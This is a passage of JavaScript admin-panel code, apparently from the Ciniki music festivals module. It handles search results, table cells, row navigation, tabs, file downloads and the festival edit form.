M.ciniki_musicfestivals_main.festival.lastY > 0 ) {\n window.scrollTo(0,M.ciniki_musicfestivals_main.festival.lastY);\n }\n });\n }\n if( (s == 'registration_search' || s == 'video_search') && v != '' ) {\n M.api.getJSONBgCb('ciniki.musicfestivals.registrationSearch', {'tnid':M.curTenantID, 'start_needle':v, 'festival_id':this.festival_id, 'limit':'50'}, function(rsp) {\n M.ciniki_musicfestivals_main.festival.liveSearchShow(s,null,M.gE(M.ciniki_musicfestivals_main.festival.panelUID + '_' + s), rsp.registrations);\n if( M.ciniki_musicfestivals_main.festival.lastY > 0 ) {\n window.scrollTo(0,M.ciniki_musicfestivals_main.festival.lastY);\n }\n });\n }\n }\n this.festival.liveSearchResultValue = function(s, f, i, j, d) {\n if( s == 'syllabus_search' ) { \n return this.cellValue(s, i, j, d);\n }\n if( s == 'registration_search' ) { \n return this.cellValue(s, i, j, d);\n/* switch(j) {\n case 0: return d.class_code;\n case 1: return d.display_name;\n case 2: return d.teacher_name;\n case 3: return '$' + d.fee;\n case 4: return d.status_text;\n } */\n }\n if( s == 'video_search' ) { \n switch(j) {\n case 0: return d.class_code;\n case 1: return d.display_name;\n case 2: return M.hyperlink(d.video_url1);\n case 3: return d.music_orgfilename;\n case 4: return d.status_text;\n }\n }\n }\n this.festival.liveSearchResultRowFn = function(s, f, i, j, d) {\n if( s == 'syllabus_search' ) { \n return 'M.ciniki_musicfestivals_main.festival.savePos();M.ciniki_musicfestivals_main.class.open(\\'M.ciniki_musicfestivals_main.festival.reopen();\\',\\'' + d.id + '\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.classes);';\n }\n if( s == 'registration_search' || s == 'video_search' ) { \n return 'M.ciniki_musicfestivals_main.festival.savePos();M.ciniki_musicfestivals_main.registration.open(\\'M.ciniki_musicfestivals_main.festival.reopen();\\',\\'' + d.id + '\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.registrations,\\'festival\\');';\n }\n }\n this.festival.cellValue = function(s, i, j, d) {\n if( s == 'sections' ) {\n switch(j) {\n case 0: return d.name;\n case 1: return (d.num_registrations!=0 ? d.num_registrations : '');\n }\n }\n if( s == 'categories' ) {\n switch(j) {\n case 0: return d.section_name;\n case 1: return d.name;\n case 2: return (d.num_registrations!=0 ? d.num_registrations : '');\n }\n }\n if( s == 'classes' || s == 'syllabus_search' ) {\n switch(j) {\n case 0: return d.section_name;\n case 1: return d.category_name;\n case 2: return d.code + ' - ' + d.name;\n case 3: return d.earlybird_fee + '/' + d.fee;\n case 4: return (d.num_registrations!=0 ? d.num_registrations : '');\n }\n }\n if( s == 'unscheduled_registrations' ) {\n switch (j) {\n case 0: return d.class_code;\n case 1: return '' + d.display_name + '' + d.title1 + '';\n case 2: return d.status_text;\n }\n }\n if( s == 'registrations' || s == 'registration_search' ) {\n switch (j) {\n case 0: return d.class_code;\n case 1: return '' + d.display_name + '' + d.title1 + '';\n case 2: return d.teacher_name;\n case 3: return '$' + d.fee;\n case 4: return d.status_text;\n }\n if( j == 5 && (this.data.flags&0x10) == 0x10 ) {\n return (d.participation == 2 ? 'Plus' : '');\n } else if( j == 5 && (this.data.flags&0x02) == 0x02 ) {\n return (d.participation == 2 ? 'Virtual' : 'In Person');\n }\n }\n if( s == 'registration_sections' || s == 'emails_sections' ) {\n return M.textCount(d.name, d.num_registrations);\n }\n if( s == 'registration_teachers' ) {\n return M.textCount(d.display_name, d.num_registrations);\n }\n if( s == 'registration_tags' ) {\n return M.textCount(d.name, d.num_registrations);\n }\n if( s == 'schedule_sections' ) {\n switch(j) {\n case 0: return d.name;\n// case 1: return '';\n }\n }\n if( s == 'adjudicators' ) {\n return d.name;\n }\n if( s == 'certificates' ) {\n switch(j) {\n case 0: return d.name;\n case 1: return d.section_name;\n case 2: return d.min_score;\n }\n }\n if( s == 'files' ) {\n switch(j) {\n case 0: return d.name;\n case 1: return (d.webflags&0x01) == 0x01 ? 'Visible' : 'Hidden';\n }\n }\n if( s == 'message_statuses' ) {\n return M.textCount(d.label, d.num_messages);\n }\n if( s == 'messages' ) {\n switch(j) {\n case 0: return d.subject;\n case 1: return d.date_text;\n }\n }\n if( s == 'lists' ) {\n switch(j) { \n case 0: return d.name;\n }\n }\n if( s == 'listsections' ) {\n switch(j) { \n case 0: return d.name;\n }\n }\n if( s == 'listentries' ) {\n switch(j) { \n case 0: return d.award;\n case 1: return d.amount;\n case 2: return d.donor;\n case 3: return d.winner;\n }\n }\n if( s == 'sponsors' ) {\n switch(j) { \n case 0: return d.name;\n case 1: return d.level;\n }\n }\n if( s == 'sponsors-old' && j == 0 ) {\n return '' + d.sponsor.title + '';\n }\n }\n this.festival.cellSortValue = function(s, i , j, d) {\n if( s == 'registrations' ) {\n switch(j) {\n case 3: return d.fee;\n case 4: return d.status;\n }\n }\n if( s == 'videos' ) {\n switch(j) {\n case 4: return d.status;\n }\n }\n return '';\n }\n this.festival.rowFn = function(s, i, d) {\n switch(s) {\n// case 'sections': return 'M.ciniki_musicfestivals_main.section.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\n case 'sections': return 'M.ciniki_musicfestivals_main.classes.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\n case 'categories': return 'M.ciniki_musicfestivals_main.category.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',\\'' + d.section_id + '\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.categories);';\n case 'classes': return 'M.ciniki_musicfestivals_main.class.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.classes);';\n case 'unscheduled_registrations': \n case 'registrations': \n case 'videos':\n return 'M.ciniki_musicfestivals_main.registration.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.registrations,\\'festival\\');';\n case 'registration_sections': return 'M.ciniki_musicfestivals_main.festival.openSection(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n case 'emails_sections': return 'M.ciniki_musicfestivals_main.festival.openSection(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n case 'registration_teachers': return 'M.ciniki_musicfestivals_main.festival.openTeacher(\\'' + d.id + '\\',\"' + M.eU(d.display_name) + '\");';\n case 'registration_tags': return 'M.ciniki_musicfestivals_main.festival.openTag(\\'' + M.eU(d.name) + '\\',\"' + M.eU(d.display_name) + '\");';\n case 'schedule_sections': return 'M.ciniki_musicfestivals_main.festival.openScheduleSection(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n case 'schedule_divisions': return 'M.ciniki_musicfestivals_main.festival.openScheduleDivision(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n// case 'schedule_sections': return 'M.ciniki_musicfestivals_main.schedulesection.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\n// case 'schedule_divisions': return 'M.ciniki_musicfestivals_main.scheduledivision.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\n case 'schedule_timeslots': return 'M.ciniki_musicfestivals_main.scheduletimeslot.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\n case 'timeslot_comments': return 'M.ciniki_musicfestivals_main.timeslotcomments.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\n case 'timeslot_photos': return null;\n case 'competitor_cities': return 'M.ciniki_musicfestivals_main.festival.openCompetitorCity(\\'' + escape(d.name) + '\\');';\n case 'competitor_provinces': return 'M.ciniki_musicfestivals_main.festival.openCompetitorProv(\\'' + escape(d.name) + '\\');';\n case 'competitors': return 'M.ciniki_musicfestivals_main.competitor.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id);';\n case 'invoice_statuses': return 'M.ciniki_musicfestivals_main.festival.openInvoiceStatus(\\'' + d.typestatus + '\\');';\n case 'invoices': return 'M.startApp(\\'ciniki.sapos.invoice\\',null,\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'mc\\',{\\'invoice_id\\':\\'' + d.id + '\\'});';\n case 'adjudicators': return 'M.ciniki_musicfestivals_main.adjudicator.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.adjudicators);';\n case 'certificates': return 'M.ciniki_musicfestivals_main.certificate.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\');';\n case 'files': return 'M.ciniki_musicfestivals_main.editfile.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\');';\n case 'message_statuses': return 'M.ciniki_musicfestivals_main.festival.openMessageStatus(' + d.status + ');';\n case 'messages': return 'M.ciniki_musicfestivals_main.message.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\');';\n case 'lists': return 'M.ciniki_musicfestivals_main.festival.openList(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n case 'listsections': return 'M.ciniki_musicfestivals_main.festival.openListSection(\\'' + d.id + '\\',\"' + M.eU(d.name) + '\");';\n case 'listentries': return 'M.ciniki_musicfestivals_main.listentry.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\');';\n case 'sponsors': return 'M.ciniki_musicfestivals_main.sponsor.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\');';\n case 'sponsors-old': return 'M.startApp(\\'ciniki.sponsors.ref\\',null,\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'mc\\',{\\'ref_id\\':\\'' + d.sponsor.ref_id + '\\'});';\n }\n return '';\n }\n this.festival.rowClass = function(s, i, d) {\n if( s == 'competitor_cities' && this.city_prov == d.name ) {\n return 'highlight';\n }\n if( s == 'competitor_provinces' && this.province == d.name ) {\n return 'highlight';\n }\n if( s == 'schedule_sections' && this.schedulesection_id == d.id ) {\n return 'highlight';\n }\n if( s == 'schedule_divisions' && this.scheduledivision_id == d.id ) {\n return 'highlight';\n }\n if( (s == 'registration_sections' || s == 'emails_sections') && this.section_id == d.id ) {\n return 'highlight';\n }\n if( s == 'registration_teachers' && this.teacher_customer_id == d.id ) {\n return 'highlight';\n }\n if( s == 'registration_tags' && this.registration_tag == d.name ) {\n return 'highlight';\n }\n if( s == 'lists' && this.list_id == d.id ) {\n return 'highlight';\n }\n if( s == 'listsections' && this.listsection_id == d.id ) {\n return 'highlight';\n }\n if( s == 'message_statuses' && this.messages_status == d.status ) {\n return 'highlight';\n }\n if( s == 'invoice_statuses' && this.invoice_typestatus == d.typestatus ) {\n return 'highlight';\n }\n if( s == 'invoices' && this.invoice_typestatus == '' && s == 'invoices' ) {\n switch(d.status) { \n case '10': return 'statusorange';\n case '15': return 'statusorange';\n case '40': return 'statusorange';\n case '42': return 'statusred';\n case '50': return 'statusgreen';\n case '55': return 'statusorange';\n case '60': return 'statusgrey';\n case '65': return 'statusgrey';\n }\n }\n }\n this.festival.switchTab = function(tab, stab) {\n if( tab != null ) { this.sections._tabs.selected = tab; }\n if( stab != null ) { this.sections._stabs.selected = stab; }\n this.open();\n }\n this.festival.switchMTab = function(t) {\n this.sections._moretabs.selected = t;\n this.open();\n }\n this.festival.switchRegTab = function(t) {\n this.sections.registration_tabs.selected = t;\n this.open();\n }\n this.festival.switchCompTab = function(t) {\n this.sections.competitor_tabs.selected = t;\n this.open();\n }\n this.festival.switchLVTab = function(t) {\n this.sections.ipv_tabs.selected = t;\n this.open();\n }\n this.festival.switchEmailsTab = function(t) {\n this.sections.emails_tabs.selected = t;\n this.open();\n }\n this.festival.emailTeacherRegistrations = function() {\n M.ciniki_musicfestivals_main.emailregistrations.open('M.ciniki_musicfestivals_main.festival.show();');\n }\n this.festival.openSection = function(id,n) {\n this.lastY = 0;\n this.section_id = id;\n this.teacher_customer_id = 0;\n this.registration_tag = '';\n if( id > 0 ) {\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\n// this.sections.emails_list.label = 'Emails - ' + M.dU(n);\n this.sections.emails_html.label = 'Emails - ' + M.dU(n);\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\n } else {\n this.sections.registrations.label = 'Registrations';\n// this.sections.emails_list.label = 'Emails';\n this.sections.emails_html.label = 'Emails';\n this.sections.videos.label = 'Registrations';\n }\n this.open();\n }\n this.festival.openTeacher = function(id,n) {\n this.lastY = 0;\n this.teacher_customer_id = id;\n this.section_id = 0;\n this.registration_tag = '';\n if( id > 0 ) {\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\n } else {\n this.sections.registrations.label = 'Registrations';\n this.sections.videos.label = 'Registrations';\n }\n this.open();\n }\n this.festival.openTag = function(name, n) {\n this.lastY = 0;\n this.section_id = 0;\n this.teacher_customer_id = 0;\n this.registration_tag = unescape(name);\n if( name != '' ) {\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\n } else {\n this.sections.registrations.label = 'Registrations';\n this.sections.videos.label = 'Registrations';\n }\n this.open();\n \n }\n this.festival.openScheduleSection = function(i, n) {\n this.schedulesection_id = i;\n this.sections.schedule_divisions.label = M.dU(n);\n this.scheduledivision_id = 0;\n this.open();\n }\n this.festival.openScheduleDivision = function(i, n) {\n this.lastY = 0;\n this.scheduledivision_id = i;\n this.sections.schedule_timeslots.label = M.dU(n);\n this.open();\n }\n this.festival.openList = function(i, n) {\n this.list_id = i;\n this.sections.listsections.label = M.dU(n);\n this.scheduledivision_id = 0;\n this.open();\n }\n this.festival.openListSection = function(i, n) {\n this.lastY = 0;\n this.listsection_id = i;\n this.sections.listentries.label = M.dU(n);\n this.open();\n }\n this.festival.downloadExcel = function(fid) {\n if( this.sections.registration_tabs.selected == 'sections' && this.section_id > 0 ) {\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'section_id':this.section_id});\n } else if( this.sections.registration_tabs.selected == 'teachers' && this.teacher_customer_id > 0 ) {\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'teacher_customer_id':this.teacher_customer_id});\n } else if( this.sections.registration_tabs.selected == 'tags' && this.registration_tag != '' ) {\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'registration_tag':this.registration_tag});\n } else {\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid});\n }\n }\n this.festival.downloadPDF = function(fid) {\n if( this.sections.registration_tabs.selected == 'sections' && this.section_id > 0 ) {\n M.api.openFile('ciniki.musicfestivals.registrationsPDF', {'tnid':M.curTenantID, 'festival_id':fid, 'section_id':this.section_id});\n } else {\n M.api.openFile('ciniki.musicfestivals.registrationsPDF', {'tnid':M.curTenantID, 'festival_id':fid});\n }\n }\n this.festival.openInvoiceStatus = function(s) {\n this.lastY = 0;\n this.invoice_typestatus = s;\n this.open();\n }\n this.festival.invoiceTransaction = function(i, t) {\n M.startApp('ciniki.sapos.invoice', null, 'M.ciniki_musicfestivals_main.festival.open();', 'mc', {'invoice_id':i, 'transaction_amount':t});\n }\n this.festival.openCompetitorCity = function(c) {\n this.lastY = 0;\n this.city_prov = unescape(c);\n this.open();\n }\n this.festival.openCompetitorProv = function(c) {\n this.lastY = 0;\n this.province = unescape(c);\n this.open();\n }\n this.festival.openMessageStatus = function(s) {\n this.messages_status = s;\n this.open();\n }\n this.festival.reopen = function(cb,fid,list) {\n if( this.sections._tabs.selected == 'sections' ) {\n if( M.gE(this.panelUID + '_syllabus_search').value != '' ) {\n this.sections.syllabus_search.lastsearch = M.gE(this.panelUID + '_syllabus_search').value;\n }\n }\n if( this.sections._tabs.selected == 'registrations' ) {\n if( M.gE(this.panelUID + '_registration_search').value != '' ) {\n this.sections.registration_search.lastsearch = M.gE(this.panelUID + '_registration_search').value;\n }\n }\n this.open(cb,fid,list);\n }\n this.festival.open = function(cb, fid, list) {\n if( fid != null ) { this.festival_id = fid; }\n var args = {'tnid':M.curTenantID, 'festival_id':this.festival_id};\n this.size = 'xlarge narrowaside';\n if( this.sections._tabs.selected == 'sections' ) {\n if( this.sections._stabs.selected == 'sections' ) {\n args['sections'] = 'yes';\n } else if( this.sections._stabs.selected == 'categories' ) {\n args['categories'] = 'yes';\n } else if( this.sections._stabs.selected == 'classes' ) {\n args['classes'] = 'yes';\n }\n } else if( this.sections._tabs.selected == 'registrations' || this.sections._tabs.selected == 'videos' ) {\n this.size = 'xlarge narrowaside';\n args['sections'] = 'yes';\n args['registrations'] = 'yes';\n args['ipv'] = this.sections.ipv_tabs.selected;\n\n } else if( this.sections._tabs.selected == 'schedule' ) {\n this.size = 'medium mediumaside';\n args['schedule'] = 'yes';\n args['ssection_id'] = this.schedulesection_id;\n args['sdivision_id'] = this.scheduledivision_id;\n this.sections.schedule_sections.changeTxt = 'Add Schedule';\n this.sections.schedule_sections.addTxt = 'Unscheduled';\n this.sections.schedule_divisions.addTxt = 'Add Division';\n } else if( this.sections._tabs.selected == 'comments' ) {\n this.size = 'xlarge narrowaside';\n args['schedule'] = 'yes';\n args['comments'] = 'yes';\n args['ssection_id'] = this.schedulesection_id;\n args['sdivision_id'] = this.scheduledivision_id;\n args['adjudicators'] = 'yes';\n this.sections.schedule_sections.addTxt = '';\n this.sections.schedule_sections.changeTxt = '';\n this.sections.schedule_divisions.addTxt = '';\n } else if( this.sections._tabs.selected == 'competitors' ) {\n this.size = 'xlarge narrowaside';\n args['competitors'] = 'yes';\n if( this.sections.competitor_tabs.selected == 'cities' ) {\n args['city_prov'] = M.eU(this.city_prov);\n } else if( this.sections.competitor_tabs.selected == 'provinces' ) {\n args['province'] = M.eU(this.province);\n } \n } else if( this.sections._tabs.selected == 'photos' ) {\n this.size = 'xlarge narrowaside';\n args['schedule'] = 'yes';\n args['photos'] = 'yes';\n args['ssection_id'] = this.schedulesection_id;\n args['sdivision_id'] = this.scheduledivision_id;\n args['adjudicators'] = 'no';\n this.sections.schedule_sections.addTxt = '';\n this.sections.schedule_sections.changeTxt = '';\n this.sections.schedule_divisions.addTxt = '';\n this.sections.schedule_divisions.changeTxt = '';\n } else if( this.isSelected('more', 'lists') == 'yes' ) {\n args['lists'] = 'yes';\n args['list_id'] = this.list_id;\n args['listsection_id'] = this.listsection_id;\n } else if( this.isSelected('more', 'invoices') == 'yes' ) {\n this.size = 'xlarge narrowaside';\n args['invoices'] = 'yes';\n if( this.invoice_typestatus > 0 ) {\n args['invoice_typestatus'] = this.invoice_typestatus;\n }\n } else if( this.isSelected('more', 'adjudicators') == 'yes' ) {\n this.size = 'xlarge';\n args['adjudicators'] = 'yes';\n } else if( this.isSelected('more', 'files') == 'yes' ) {\n this.size = 'xlarge';\n args['files'] = 'yes';\n } else if( this.isSelected('more', 'certificates') == 'yes' ) {\n this.size = 'xlarge';\n args['certificates'] = 'yes';\n } else if( this.sections._tabs.selected == 'messages' ) {\n args['messages'] = 'yes';\n // Which emails to get\n args['messages_status'] = this.messages_status;\n this.sections.messages.headerValues[1] = 'Date';\n if( this.messages_status == 30 ) {\n this.sections.messages.headerValues[1] = 'Scheduled';\n } else if( this.messages_status == 50 ) {\n this.sections.messages.headerValues[1] = 'Sent';\n }\n } else if( this.isSelected('more', 'emails') == 'yes' ) {\n args['sections'] = 'yes';\n // Which emails to get\n args['emails_list'] = this.sections.emails_tabs.selected;\n } else if( this.isSelected('more', 'sponsors') == 'yes' ) {\n //} else if( this.sections._tabs.selected == 'sponsors' ) {\n this.size = 'xlarge';\n args['sponsors'] = 'yes';\n } else if( this.isSelected('more', 'sponsors-old') == 'yes' ) {\n args['sponsors'] = 'yes';\n }\n if( this.section_id > 0 ) {\n args['section_id'] = this.section_id;\n }\n if( this.teacher_customer_id > 0 ) {\n args['teacher_customer_id'] = this.teacher_customer_id;\n }\n if( this.registration_tag != '' ) {\n args['registration_tag'] = this.registration_tag;\n }\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', args, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.festival;\n p.data = rsp.festival;\n p.label = rsp.festival.name;\n p.sections.registration_search.livesearchcols = 5;\n p.sections.registrations.num_cols = 5;\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status'];\n if( (rsp.festival.flags&0x10) == 0x10 ) {\n p.sections.registration_search.livesearchcols = 6;\n p.sections.registrations.num_cols = 6;\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Plus'];\n } else if( (rsp.festival.flags&0x02) == 0x02 ) {\n p.sections.registration_search.livesearchcols = 6;\n p.sections.registrations.num_cols = 6;\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'];\n }\n p.sections.timeslot_comments.headerValues[2] = '';\n p.sections.timeslot_comments.headerValues[3] = '';\n p.sections.timeslot_comments.headerValues[4] = '';\n if( rsp.festival.sections != null ) {\n p.data.registration_sections = [];\n p.data.emails_sections = [];\n p.data.registration_sections.push({'id':0, 'name':'All'});\n p.data.emails_sections.push({'id':0, 'name':'All'});\n for(var i in rsp.festival.sections) {\n// p.data.registration_sections.push({'id':rsp.festival.sections[i].id, 'name':rsp.festival.sections[i].name});\n p.data.registration_sections.push(rsp.festival.sections[i]);\n p.data.emails_sections.push({'id':rsp.festival.sections[i].id, 'name':rsp.festival.sections[i].name});\n }\n// p.data.registration_sections = rsp.festival.sections;\n }\n if( rsp.festival.schedule_sections != null ) {\n for(var i in rsp.festival.schedule_sections) {\n if( p.schedulesection_id > 0 && rsp.festival.schedule_sections[i].id == p.schedulesection_id ) {\n if( rsp.festival.schedule_sections[i].adjudicator1_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator1_id] != null ) {\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator1_id].name;\n }\n if( rsp.festival.schedule_sections[i].adjudicator2_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator2_id] != null ) {\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator2_id].name;\n }\n if( rsp.festival.schedule_sections[i].adjudicator3_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator3_id] != null ) {\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator3_id].name;\n }\n }\n }\n }\n p.nplists = {};\n if( rsp.nplists != null ) {\n p.nplists = rsp.nplists;\n }\n p.refresh();\n p.show(cb);\n // \n // Auto remember last search\n //\n if( p.sections['syllabus_search'].lastsearch != null \n && p.sections['syllabus_search'].lastsearch != '' \n ) {\n M.gE(p.panelUID + '_syllabus_search').value = p.sections['syllabus_search'].lastsearch;\n var t = M.gE(p.panelUID + '_syllabus_search_livesearch_grid');\n t.style.display = 'table';\n p.liveSearchCb('syllabus_search', null, p.sections['syllabus_search'].lastsearch);\n delete p.sections['syllabus_search'].lastsearch;\n }\n else if( p.sections['registration_search'].lastsearch != null \n && p.sections['registration_search'].lastsearch != '' \n ) {\n M.gE(p.panelUID + '_registration_search').value = p.sections['registration_search'].lastsearch;\n var t = M.gE(p.panelUID + '_registration_search_livesearch_grid');\n t.style.display = 'table';\n p.liveSearchCb('registration_search', null, p.sections['registration_search'].lastsearch);\n delete p.sections['registration_search'].lastsearch;\n }\n });\n }\n this.festival.timeslotImageAdd = function(tid, row) {\n this.timeslot_image_uploader_tid = tid;\n this.timeslot_image_uploader_row = row;\n this.image_uploader = M.aE('input', this.panelUID + '_' + tid + '_upload', 'file_uploader');\n this.image_uploader.setAttribute('name', tid);\n this.image_uploader.setAttribute('type', 'file');\n this.image_uploader.setAttribute('onchange', 'M.ciniki_musicfestivals_main.festival.timeslotImageUpload();');\n this.image_uploader.click();\n }\n this.festival.timeslotImageUpload = function() {\n var files = this.image_uploader.files;\n M.startLoad();\n M.api.postJSONFile('ciniki.musicfestivals.timeslotImageDrop', {'tnid':M.curTenantID, 'festival_id':this.festival_id, \n 'timeslot_id':this.timeslot_image_uploader_tid},\n files[0],\n function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.stopLoad();\n M.api.err(rsp);\n return false;\n }\n M.stopLoad();\n var p = M.ciniki_musicfestivals_main.festival;\n var t = M.gE(p.panelUID + '_timeslot_photos_grid');\n var cell = t.children[0].children[p.timeslot_image_uploader_row].children[1];\n cell.innerHTML += '';\n });\n }\n this.festival.festivalCopy = function(old_fid) {\n M.api.getJSONCb('ciniki.musicfestivals.festivalCopy', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'old_festival_id':old_fid}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.festival.open();\n });\n }\n this.festival.syllabusDownload = function() {\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id});\n }\n this.festival.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.festival.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) + 1] + ');';\n }\n return null;\n }\n this.festival.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.festival_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) - 1] + ');';\n }\n return null;\n }\n this.festival.addButton('edit', 'Edit', 'M.ciniki_musicfestivals_main.edit.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id);');\n this.festival.addClose('Back');\n this.festival.addButton('next', 'Next');\n this.festival.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Festival\n //\n this.edit = new M.panel('Festival', 'ciniki_musicfestivals_main', 'edit', 'mc', 'large mediumaside', 'sectioned', 'ciniki.musicfestivals.main.edit');\n this.edit.data = null;\n this.edit.festival_id = 0;\n this.edit.nplist = [];\n this.edit.sections = {\n/* '_document_logo_id':{'label':'Document Header Logo', 'type':'imageform', 'aside':'yes', 'fields':{\n 'header_logo_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue('header_logo_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\n return true;\n },\n },\n }}, */\n 'general':{'label':'', 'aside':'yes', 'fields':{\n 'name':{'label':'Name', 'type':'text'},\n 'start_date':{'label':'Start', 'type':'date'},\n 'end_date':{'label':'End', 'type':'date'},\n 'status':{'label':'Status', 'type':'toggle', 'toggles':{'10':'Active', '30':'Current', '60':'Archived'}},\n 'flags1':{'label':'Registrations Open', 'type':'flagtoggle', 'default':'off', 'bit':0x01, 'field':'flags'},\n 'flags2':{'label':'Virtual Option', 'type':'flagtoggle', 'default':'off', 'bit':0x02, 'field':'flags',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x4000); },\n 'on_fields':['flags3','virtual_date', 'upload_end_dt'],\n },\n 'flags3':{'label':'Virtual Pricing', 'type':'flagtoggle', 'default':'off', 'bit':0x04, 'field':'flags', 'visible':'no'},\n 'flags4':{'label':'Section End Dates', 'type':'flagtoggle', 'default':'off', 'bit':0x08, 'field':'flags'},\n 'flags5':{'label':'Adjudication Plus', 'type':'flagtoggle', 'default':'off', 'bit':0x10, 'field':'flags',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\n },\n 'earlybird_date':{'label':'Earlybird Deadline', 'type':'datetime'},\n 'live_date':{'label':'Live Deadline', 'type':'datetime'},\n 'virtual_date':{'label':'Virtual Deadline', 'type':'datetime', 'visible':'no'},\n 'edit_end_dt':{'label':'Edit Titles Deadline', 'type':'datetime'},\n 'upload_end_dt':{'label':'Upload Deadline', 'type':'datetime', 'visible':'no'},\n }},\n '_settings':{'label':'', 'aside':'yes', 'fields':{\n 'age-restriction-msg':{'label':'Age Restriction Message', 'type':'text'},\n 'president-name':{'label':'President Name', 'type':'text'},\n }},\n// Remove 2022, could be readded in future\n// '_hybrid':{'label':'In Person/Virtual Choices', 'aside':'yes', 